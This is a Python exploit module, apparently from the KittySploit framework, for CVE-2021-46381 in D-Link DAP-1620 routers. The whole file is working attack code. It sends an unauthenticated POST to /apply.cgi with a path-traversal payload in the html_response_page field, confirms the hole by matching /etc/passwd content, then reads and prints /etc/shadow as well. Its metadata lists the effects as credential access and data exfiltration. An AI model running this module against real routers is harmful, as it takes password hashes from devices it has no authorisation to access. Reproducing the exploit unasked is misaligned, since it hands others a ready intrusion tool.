D-Link DAP-1620 LFI (CVE-2021-46381)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DAP-1620 apply.cgi traversal LFI (CVE-2021-46381)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'D-Link DAP-1620 LFI (CVE-2021-46381)',
        'description': (
            'Exploits CVE-2021-46381 in D-Link DAP-1620: path traversal via html_response_page '
            'in POST /apply.cgi reads /etc/passwd and /etc/shadow without authentication.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-46381'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-46381'],
        'tags': ['dlink', 'router', 'lfi', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read', 'credentials'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_46381_detect']},
        },
    }

    file_path = OptString('/etc/passwd', 'Remote file to read', required=True)

    def execute(self, remote_path: str) -> str:
        depth = '../' * 16
        target = remote_path.lstrip('/')
        data = (
            'action=do_graph_auth&graph_code=94102&html_response_message=just_login'
            f'&html_response_page={depth}{target}'
            '&log_pass=DummyPass&login_n=admin&login_name=DummyName&tkn=634855349'
            '&tmp_log_pass=DummyPass&tmp_log_pass_auth=DummyPass'
        )
        r = self.http_request(
            method='POST',
            path='/apply.cgi',
            data=data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        return (r.text or '') if r and r.status_code == 200 else ''

    def check(self):
        body = self.execute(str(self.file_path or '/etc/passwd'))
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'DAP-1620 traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'DAP-1620 LFI failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('D-Link DAP-1620 not vulnerable')
            return False
        for target in (str(self.file_path or '/etc/passwd'), '/etc/shadow'):
            body = self.execute(target)
            if body:
                print_success(f'{target} — {len(body)} bytes')
                print_status(body[:2000])
        return True